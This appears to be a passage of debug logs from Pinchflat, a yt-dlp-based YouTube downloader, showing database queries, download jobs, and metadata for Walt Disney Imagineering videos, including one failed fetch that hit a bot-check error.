OK source="settings" db=0.1ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:55:16.637 [debug] QUERY OK source="settings" db=0.1ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:55:16.637 [debug] Running yt-dlp command for action: get_downloadable_status 18:55:16.638 [debug] QUERY OK source="settings" db=0.1ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:55:16.638 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:55:16.638 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:55:16.638 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=d-WdUYdOdHY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/32/e6/32e6c1e319087b96dd4577251c45b6de52f80e6808c7846cd2d9c1513f95279c.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 18:55:17.637 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Picture it... the biggest matchup on Kilimanjaro Safaris at Disney's Animal Kingdom is about to unfold - lions versus rhinos. Actually, this could never happen because Imagineers designed specific barriers to keep the animals away from each other and Tom Morrow 2.0 is getting the full scoop on how it's done.\n\n✅ What you’ll learn:\n• Imagineers used natural barriers to separate animals that shouldn't be together\n• The barriers used to separate animals is themed to seamlessly blend in\n• In some situations, treats and activities are used to encourage the animals to be in certain areas\n\n📖 Read more on Disney Parks Blog →\nhttps://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nImagineer That! is back! Follow Tom Morrow 2.0, a zany mini-animatronic with insider access to Walt Disney Imagineering, as he answers your biggest questions and reveals the magic behind Disney attractions.\n\n🔍 Explore More Episodes\n🎥 How does Walt Disney Imagineering control a ride that's trackless? | Imagineer That! → \u00A0\u00A0\u00A0•\u00A0How\u00A0does\u00A0Walt\u00A0Disney\u00A0Imagineering\u00A0control\u00A0...\u00A0\u00A0\n🎥 Why do roller coasters feel faster in the dark? | Imagineer That! → \u00A0\u00A0\u00A0•\u00A0Why\u00A0do\u00A0roller\u00A0coasters\u00A0feel\u00A0faster\u00A0in\u00A0the\u00A0...\u00A0\u00A0\n🎥 How do Disney Imagineers make things look old and creepy? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0make\u00A0things\u00A0look\u00A0...\u00A0\u00A0\n🎥 How do Disney Imagineers make mountains? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0make\u00A0mountains?\u00A0|...\u00A0\u00A0\n🎥 How do Disney Imagineers think up new rides? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0think\u00A0up\u00A0the\u00A0new\u00A0...\u00A0\u00A0\n \nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n 💬 Drop a 🦁 if you roared watching this episode!", "filename" => "/downloads/Walt Disney Imagineering/2026-02-24 How do the Imagineers keep the lions away from the rhinos?!/How do the Imagineers keep the lions away from the rhinos?! [diprlz4GBlk].NA", "id" => "diprlz4GBlk", "original_url" => "https://www.youtube.com/watch?v=diprlz4GBlk", "playlist_index" => 4, "title" => "How do the Imagineers keep the lions away from the rhinos?!", "upload_date" => "20260224"} 18:55:17.638 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=xX48Eo_uC9c --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/cc/06/cc0647d11a9d504558b7802fe64fbb3773b4264001b0caa86fc9e8e44b73ac18.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing ERROR: [youtube] xX48Eo_uC9c: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies 18:55:17.638 [debug] QUERY OK source="sources" db=0.2ms idle=1000.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:55:17.638 [error] yt-dlp download error for media item #12518: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] xX48Eo_uC9c: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 18:55:17.638 [error] yt-dlp download will not be retried: "WARNING: [youtube] No title found in player responses; falling back to title from initial data. Other metadata may also be missing\nERROR: [youtube] xX48Eo_uC9c: Sign in to confirm you’re not a bot. Use --cookies-from-browser or --cookies for the authentication. See https://github.com/yt-dlp/yt-dlp/wiki/FAQ#how-do-i-pass-cookies-to-yt-dlp for how to manually pass cookies. Also see https://github.com/yt-dlp/yt-dlp/wiki/Extractors#exporting-youtube-cookies for tips on effectively exporting YouTube cookies\n" 18:55:17.639 [debug] QUERY OK source="sources" db=0.2ms idle=1000.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:17.639 [info] {"args":{"id":12518},"id":1719,"meta":{},"state":"success","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":2013597,"event":"job:stop","queue_time":624490,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 18:55:17.639 [debug] QUERY OK source="media_items" db=0.5ms idle=1000.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-02-24 00:00:00Z], 2] 18:55:17.642 [debug] QUERY OK source="media_items" db=1.6ms idle=49.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Picture it... the biggest matchup on Kilimanjaro Safaris at Disney's Animal Kingdom is about to unfold - lions versus rhinos. Actually, this could never happen because Imagineers designed specific barriers to keep the animals away from each other and Tom Morrow 2.0 is getting the full scoop on how it's done.\n\n✅ What you’ll learn:\n• Imagineers used natural barriers to separate animals that shouldn't be together\n• The barriers used to separate animals is themed to seamlessly blend in\n• In some situations, treats and activities are used to encourage the animals to be in certain areas\n\n📖 Read more on Disney Parks Blog →\nhttps://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nImagineer That! is back! Follow Tom Morrow 2.0, a zany mini-animatronic with insider access to Walt Disney Imagineering, as he answers your biggest questions and reveals the magic behind Disney attractions.\n\n🔍 Explore More Episodes\n🎥 How does Walt Disney Imagineering control a ride that's trackless? | Imagineer That! → \u00A0\u00A0\u00A0•\u00A0How\u00A0does\u00A0Walt\u00A0Disney\u00A0Imagineering\u00A0control\u00A0...\u00A0\u00A0\n🎥 Why do roller coasters feel faster in the dark? | Imagineer That! → \u00A0\u00A0\u00A0•\u00A0Why\u00A0do\u00A0roller\u00A0coasters\u00A0feel\u00A0faster\u00A0in\u00A0the\u00A0...\u00A0\u00A0\n🎥 How do Disney Imagineers make things look old and creepy? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0make\u00A0things\u00A0look\u00A0...\u00A0\u00A0\n🎥 How do Disney Imagineers make mountains? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0make\u00A0mountains?\u00A0|...\u00A0\u00A0\n🎥 How do Disney Imagineers think up new rides? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0think\u00A0up\u00A0the\u00A0new\u00A0...\u00A0\u00A0\n \nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n 💬 Drop a 🦁 if you roared watching this episode!", "How do the Imagineers keep the lions away from the rhinos?!", "dba5456f-8069-40df-8a8e-f1e0024785d2", "diprlz4GBlk", "https://www.youtube.com/watch?v=diprlz4GBlk", false, false, 4, "/downloads/Walt Disney Imagineering/2026-02-24 How do the Imagineers keep the lions away from the rhinos?!/How do the Imagineers keep the lions away from the rhinos?! [diprlz4GBlk].NA", false, false, 2, [], 98, ~U[2026-02-24 00:00:00Z], ~U[2026-03-30 22:55:17Z], ~U[2026-03-30 22:55:17Z], "Picture it... the biggest matchup on Kilimanjaro Safaris at Disney's Animal Kingdom is about to unfold - lions versus rhinos. Actually, this could never happen because Imagineers designed specific barriers to keep the animals away from each other and Tom Morrow 2.0 is getting the full scoop on how it's done.\n\n✅ What you’ll learn:\n• Imagineers used natural barriers to separate animals that shouldn't be together\n• The barriers used to separate animals is themed to seamlessly blend in\n• In some situations, treats and activities are used to encourage the animals to be in certain areas\n\n📖 Read more on Disney Parks Blog →\nhttps://disneyparksblog.com/disney-ex...\n \n🎥 About the Series\nImagineer That! is back! Follow Tom Morrow 2.0, a zany mini-animatronic with insider access to Walt Disney Imagineering, as he answers your biggest questions and reveals the magic behind Disney attractions.\n\n🔍 Explore More Episodes\n🎥 How does Walt Disney Imagineering control a ride that's trackless? | Imagineer That! → \u00A0\u00A0\u00A0•\u00A0How\u00A0does\u00A0Walt\u00A0Disney\u00A0Imagineering\u00A0control\u00A0...\u00A0\u00A0\n🎥 Why do roller coasters feel faster in the dark? | Imagineer That! → \u00A0\u00A0\u00A0•\u00A0Why\u00A0do\u00A0roller\u00A0coasters\u00A0feel\u00A0faster\u00A0in\u00A0the\u00A0...\u00A0\u00A0\n🎥 How do Disney Imagineers make things look old and creepy? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0make\u00A0things\u00A0look\u00A0...\u00A0\u00A0\n🎥 How do Disney Imagineers make mountains? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0make\u00A0mountains?\u00A0|...\u00A0\u00A0\n🎥 How do Disney Imagineers think up new rides? → \u00A0\u00A0\u00A0•\u00A0How\u00A0do\u00A0Disney\u00A0Imagineers\u00A0think\u00A0up\u00A0the\u00A0new\u00A0...\u00A0\u00A0\n \nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...\n\n 💬 Drop a 🦁 if you roared watching this episode!", "How do the Imagineers keep the lions away from the rhinos?!", "diprlz4GBlk", "https://www.youtube.com/watch?v=diprlz4GBlk", nil, false, "/downloads/Walt Disney Imagineering/2026-02-24 How do the Imagineers keep the lions away from the rhinos?!/How do the Imagineers keep the lions away from the rhinos?! [diprlz4GBlk].NA", false, 2, ~U[2026-02-24 00:00:00Z]] 18:55:17.642 [debug] QUERY OK source="sources" db=0.2ms idle=3.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:17.642 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:55:17.643 [debug] QUERY OK source="media_items" db=0.2ms idle=3.8ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [9847] 18:55:17.643 [debug] Current batch of media processed. Will check again in 1000ms 18:55:17.645 [info] {"args":{"id":11511},"id":1721,"meta":{},"system_time":1774911317645089807,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 18:55:17.645 [debug] QUERY OK source="media_items" db=0.2ms idle=3.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [11511] 18:55:17.645 [info] User scripts lifecyle file either not present or is empty. Skipping. 18:55:17.646 [debug] QUERY OK source="sources" db=0.1ms idle=3.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:55:17.646 [debug] QUERY OK source="media_profiles" db=0.1ms idle=3.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:55:17.646 [debug] QUERY OK source="media_items" db=0.2ms idle=3.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [11511] 18:55:17.647 [debug] QUERY OK source="media_metadata" db=0.0ms idle=2.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [11511] 18:55:17.647 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:55:17.648 [debug] QUERY OK source="settings" db=0.1ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:55:17.648 [debug] QUERY OK source="settings" db=0.0ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:55:17.648 [debug] Running yt-dlp command for action: get_downloadable_status 18:55:17.648 [debug] QUERY OK source="settings" db=0.1ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:55:17.649 [debug] QUERY OK source="settings" db=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:55:17.649 [debug] QUERY OK source="settings" db=0.1ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:55:17.649 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=D2bWh5wTlZ0 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/6e/74/6e743ef5a2f8d3a3a763e0339b6a376e7fe038b5781486533a3fb6fd32399dc8.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 18:55:18.644 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Ever wondered how Disney Cruise Line fits three Broadway‑level shows in one theater in the middle of the ocean? 🎭🚢 We’re taking you backstage to uncover how Disney Live Entertainment fits the set pieces for their shows all in one space. From prop storage and hidden lifts to multi‑layered stage design, this incredible feat allows Disney to transform the space quickly, letting guests experience multiple productions, sets, and effects all in one venue.\n\n✨ What makes this special?\n• Discover how Disney Cruise Line’s technical team fits three full Broadway‑style musicals into a single theater, using smart engineering, collapsible sets, and precision storage planning\n• Learn how shows like Frozen, Hercules, and Moana swap in just hours, thanks to multi‑level storage, deck‑to‑deck lifts, and clever backstage solutions hidden just out of audience view\n\n🎥 Watch the Magic Unfold\nJoin us for Great Moments in Imagineering & Disney Live Entertainment, a behind-the-scenes series that celebrates the creativity, innovation, and storytelling that define Walt Disney Imagineering. Discover the magic that brings Disney parks, resorts, attractions, and cruise ships to life!\n\n🔍 Explore More Episodes\n👻 Pepper's Ghost from Haunted Mansion to Test Track → \u00A0\u00A0\u00A0•\u00A0Pepper's\u00A0Ghost\u00A0from\u00A0Haunted\u00A0Mansion\u00A0to\u00A0Tes...\u00A0\u00A0\n✨ Hong Kong Disneyland 20th Anniversary Projections → \u00A0\u00A0\u00A0•\u00A0Hong\u00A0Kong\u00A0Disneyland\u00A020th\u00A0Anniversary\u00A0New\u00A0...\u00A0\u00A0\n⚡ Meet the Titans from the Disney Destiny Hercules Show → \u00A0\u00A0\u00A0•\u00A0Meet\u00A0The\u00A0Titans\u00A0from\u00A0the\u00A0Disney\u00A0Destiny\u00A0He...\u00A0\u00A0\n🌸 30 Years of EPCOT International Flower & Garden Festival Innovation → \u00A0\u00A0\u00A0•\u00A030\u00A0Years\u00A0of\u00A0EPCOT\u00A0International\u00A0Flower\u00A0&\u00A0G...\u00A0\u00A0\n👻 The Ichabod Crane Storytelling Window → \u00A0\u00A0\u00A0•\u00A0The\u00A0Ichabod\u00A0Crane\u00A0Storytelling\u00A0Window\u00A0|\u00A0Gr...\u00A0\u00A0\n\nFollow Walt Disney Imagineering\n📸 Instagram → \u00A0\u00A0/\u00A0waltdisneyimagineering\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0walt-disney-imagineering\u00A0\u00A0\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → \u00A0\u00A0\u00A0/\u00A0@waltdisneyimagineering\u00A0\u00A0\n\nFollow Disney Live Entertainment\n📸 Instagram → \u00A0\u00A0/\u00A0disneyliveentertainment\u00A0\u00A0\n💼 LinkedIn → \u00A0\u00A0/\u00A0disney-live-entertainment\u00A0\u00A0\n\n🌐 Learn More About WDI\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyim...", "filename" => "/downloads/Walt Disney Imagineering/2026-02-17 How Does Disney Do This - Three Stages in ONE Theater?!/How Does Disney Do This - Three Stages in ONE Theater?! [Q1cJY2wpQRQ].NA", "id" => "Q1cJY2wpQRQ", "original_url" => "https://www.youtube.com/watch?v=Q1cJY2wpQRQ", "playlist_index" => 5, "title" => "How Does Disney Do This - Three Stages in ONE Theater?!", "upload_date" => "20260217"} 18:55:18.645 [debug] QUERY OK source="sources" db=0.2ms idle=996.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [2] 18:55:18.645 [debug] QUERY OK source="sources" db=0.1ms 